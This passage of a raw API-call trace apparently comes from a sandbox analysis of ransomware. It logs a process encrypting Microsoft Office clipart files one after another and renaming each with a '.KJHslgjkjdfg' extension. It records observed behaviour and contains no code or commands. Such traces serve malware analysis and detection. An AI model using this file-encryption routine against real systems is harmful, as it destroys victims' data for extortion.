returned 1 [0185.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.kjhslgjkjdfg")) returned 1 [0185.070] CloseHandle (hObject=0x114) returned 1 [0185.070] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3210, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00932_.WMF", cAlternateFileName="")) returned 1 [0185.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.071] GetProcessHeap () returned 0x2a0000 [0185.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.071] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.071] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.071] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.071] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.071] GetProcessHeap () returned 0x2a0000 [0185.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.072] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.072] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.072] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.074] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.074] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.074] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.074] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.074] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.074] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.074] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.074] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.074] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3210, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3210, lpOverlapped=0x0) returned 1 [0185.076] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3210, dwBufLen=0x3210 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3210) returned 1 [0185.076] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.076] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3210, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3210, lpOverlapped=0x0) returned 1 [0185.076] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.076] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x32e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.076] SetEndOfFile (hFile=0x114) returned 1 [0185.079] GetProcessHeap () returned 0x2a0000 [0185.079] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.079] GetProcessHeap () returned 0x2a0000 [0185.079] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf.kjhslgjkjdfg")) returned 1 [0185.081] CloseHandle (hObject=0x114) returned 1 [0185.081] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8abf600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8abf600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x7c46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01064_.WMF", cAlternateFileName="")) returned 1 [0185.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.082] GetProcessHeap () returned 0x2a0000 [0185.082] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.082] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.082] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.082] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0185.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.084] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.084] GetProcessHeap () returned 0x2a0000 [0185.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.085] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.085] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.085] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.085] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.085] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.085] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.085] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.085] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.085] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.085] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c46, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7c46, lpOverlapped=0x0) returned 1 [0185.087] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c50) returned 1 [0185.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.087] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7c50, lpOverlapped=0x0) returned 1 [0185.087] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.087] SetEndOfFile (hFile=0x114) returned 1 [0185.090] GetProcessHeap () returned 0x2a0000 [0185.091] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.091] GetProcessHeap () returned 0x2a0000 [0185.091] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01064_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01064_.wmf.kjhslgjkjdfg")) returned 1 [0185.092] CloseHandle (hObject=0x114) returned 1 [0185.092] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117a8f00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x117a8f00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x54a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01066_.WMF", cAlternateFileName="")) returned 1 [0185.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.094] GetProcessHeap () returned 0x2a0000 [0185.094] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.094] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.094] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.094] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.097] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.097] GetProcessHeap () returned 0x2a0000 [0185.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.097] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.097] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.097] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.097] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.097] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.097] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.098] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.098] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.098] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.098] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x54a8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x54a8, lpOverlapped=0x0) returned 1 [0185.099] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x54b0, dwBufLen=0x54b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x54b0) returned 1 [0185.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.100] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x54b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x54b0, lpOverlapped=0x0) returned 1 [0185.100] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.100] SetEndOfFile (hFile=0x114) returned 1 [0185.103] GetProcessHeap () returned 0x2a0000 [0185.103] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.103] GetProcessHeap () returned 0x2a0000 [0185.103] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.kjhslgjkjdfg")) returned 1 [0185.104] CloseHandle (hObject=0x114) returned 1 [0185.105] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d55d00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0d55d00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x1a7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01069_.WMF", cAlternateFileName="")) returned 1 [0185.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.106] GetProcessHeap () returned 0x2a0000 [0185.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.106] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.106] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.106] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0185.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.108] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.108] GetProcessHeap () returned 0x2a0000 [0185.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.108] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.108] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.109] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.109] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.109] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.109] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.109] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.109] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.109] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.109] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a7e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a7e, lpOverlapped=0x0) returned 1 [0185.110] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a80, dwBufLen=0x1a80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a80) returned 1 [0185.110] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.111] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a80, lpOverlapped=0x0) returned 1 [0185.111] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.111] SetEndOfFile (hFile=0x114) returned 1 [0185.113] GetProcessHeap () returned 0x2a0000 [0185.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.114] GetProcessHeap () returned 0x2a0000 [0185.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.114] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.kjhslgjkjdfg")) returned 1 [0185.115] CloseHandle (hObject=0x114) returned 1 [0185.115] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19e000, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe19e000, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01123_.WMF", cAlternateFileName="")) returned 1 [0185.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.116] GetProcessHeap () returned 0x2a0000 [0185.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.117] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.117] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, 